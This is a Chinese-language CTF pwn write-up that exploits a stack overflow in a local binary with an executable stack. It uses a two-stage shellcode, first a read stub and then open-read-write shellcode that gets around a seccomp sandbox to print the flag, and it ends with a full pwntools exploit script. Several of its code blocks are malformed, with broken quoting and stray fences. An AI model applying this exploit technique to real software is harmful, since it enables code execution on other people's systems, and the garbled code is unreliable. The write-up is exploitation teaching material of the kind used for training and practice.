

例行检查程序

```
[*] '/home/renecn/Desktop/chuti/nan/shellcode'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX disabled
  PIE:       No PIE (0x400000)
  RWX:       Has RWX segments
```

保护机制只开启了部分 relro

```
pwndbg> vmmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000          0x401000 r-xp    1000 0      /home/renecn/Desktop/
chuti/nan/shellcode
0x600000          0x601000 r-xp    1000 0      /home/renecn/Desktop/
chuti/nan/shellcode
0x601000          0x602000 rwxp   1000 1000  /home/renecn/Desktop/
chuti/nan/shellcode
0x7fffff79e2000  0x7fffff7bc9000 r-xp    1e7000 0      /lib/x86_64-linux-gnu
/libc-2.27.so
0x7fffff7bc9000  0x7fffff7dc9000 ---p   200000 1e7000 /lib/x86_64-linux-gnu
/libc-2.27.so
0x7fffff7dc9000  0x7fffff7dc000 r-xp    4000 1e7000 /lib/x86_64-linux-gnu
/libc-2.27.so
0x7fffff7dc000  0x7fffff7dcf000 rwxp   2000 1eb000 /lib/x86_64-linux-gnu
/libc-2.27.so
0x7fffff7dcf000  0x7fffff7dd3000 rwxp   4000 0      anon_7fffff7dcf
0x7fffff7dd3000  0x7fffff7dfc000 r-xp    29000 0      /lib/x86_64-linux-gnu
/ld-2.27.so
0x7fffff7fe1000  0x7fffff7fe3000 rwxp   2000 0      anon_7fffff7fe1
0x7fffff7ff8000  0x7fffff7ffb000 r--p   3000 0      [vvar]
0x7fffff7ffb000  0x7fffff7ffc000 r-xp    1000 0      [vdso]
0x7fffff7ffc000  0x7fffff7ffd000 r-xp    1000 29000 /lib/x86_64-linux-gnu
/ld-2.27.so
0x7fffff7ffd000  0x7fffff7ffe000 rwxp   1000 2a000 /lib/x86_64-linux-gnu
/ld-2.27.so
0x7fffff7ffe000  0x7fffff7fff000 rwxp   1000 0      anon_7fffff7ffe
0x7fffffffde000  0x7fffffff000 rwxp   21000 0      [stack]
0xffffffffffff600000 0xffffffffffff601000 ---p   1000 0      [vsyscall]
pwndbg>
```

栈可执行，我们可以在栈上写上 shellcode 去 getshell，但是程序开启了沙箱

```
27| char v25; // [rsp+3Bh] [rbp-5h]
28| int v26; // [rsp+3Ch] [rbp-4h]
29|
30| v3 = 32;
31| v4 = 0;
32| v5 = 0;
33| v6 = 4;
34| v7 = 21;
35| v8 = 0;
36| v9 = 2;
37| v10 = -1073741762;
38| v11 = 32;
39| v12 = 0;
40| v13 = 0;
41| v14 = 0;
42| v15 = 21;
43| v16 = 0;
44| v17 = 1;
45| v18 = 59;
46| v19 = 6;
47| v20 = 0;
48| v21 = 0;
49| v22 = 0;
50| v23 = 6;
51| v24 = 0;
52| v25 = 0;
53| v26 = 2147418112;
54| v1 = 6;
55| v2 = &v3;
56| prctl(38, 1LL, 0LL, 0LL, 0LL);
57| return prctl(22, 3FL, &v1);
```

所以我们执行写 orw，通过进一步分析发现

```
1 ssize_t vulnerable()
2{
3    char buf[32]; // [rsp+0h] [rbp-20h] BYREF
4
5    return read(0, buf, 0x40uLL);
6}
```

```
.0000000000000020 ; D/A/* : change type (data/ascii/array)
.0000000000000020 ; N : rename
.0000000000000020 ; U : undefined
.0000000000000020 ; Use data definition commands to create local variables and function arguments.
.0000000000000020 ; Two special fields " r" and " s" represent return address and saved registers.
.0000000000000020 ; Frame size: 20; Saved regs: 8; Purge: 0
.0000000000000020 ;
.0000000000000020
.0000000000000020 buf          db 32 dup(?)
.0000000000000000 s          db 8 dup(?)
.0000000000000008 r          db 8 dup(?)
.0000000000000010
.0000000000000010 ; end of stack variables
```

我们只能溢出 0x20 的字节，我们无法写入全部的 shellcode，所以我们需要用 shellcode 写一个 read 函数，增大读入量

```
```python
read_size = ''
push rbp
mov rbp, rsp
sub rsp, 0x100
mov rdi, 0
mov rsi, rsp
mov rdx, 0x200
mov rax, 0
syscall
leave
ret
...
```
```

之后写入 orw 的 shellcode 即可

最后 exp

```
```python
from pwn import *
elf = ELF('./shellcode')
io = process('./shellcode')
libc = elf.libc
```

```
context(log_level='debug',os='linux',arch='amd64')

io.recvuntil('?')
#flag = 0x000067616c662f2e
jmp_rsp = 0x400685
jum = ''
sub rsp, 0x30
jmp rsp
'''

read_size = ''
push rbp
mov rbp, rsp
sub rsp, 0x100
mov rdi, 0
mov rsi, rsp
mov rdx, 0x200
mov rax, 0
syscall
leave
ret
'''

shellcode = '''
mov r15, 0x000067616c662f2e
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov r15, rdi
mov rdi, 3
mov rsi, r15
mov rdx, 0xff
mov rax, 0
syscall
mov rdi, 1
mov rsi, r15
mov rdx, 0xff
mov rax, 1
syscall

'''

jmp1 = ''
sub rsp, 0x110
```

```
jmp rsp
```

payload = asm(read_size).ljust(0x28, '\x00')+p64(jmp_rsp)+asm(jum)

#gdb.attach(io)

io.send(payload)

io.send(asm(shellcode).ljust(0x108, 'A')+p64(jmp_rsp)+asm(jmp1))

```

io.interactive()
```
```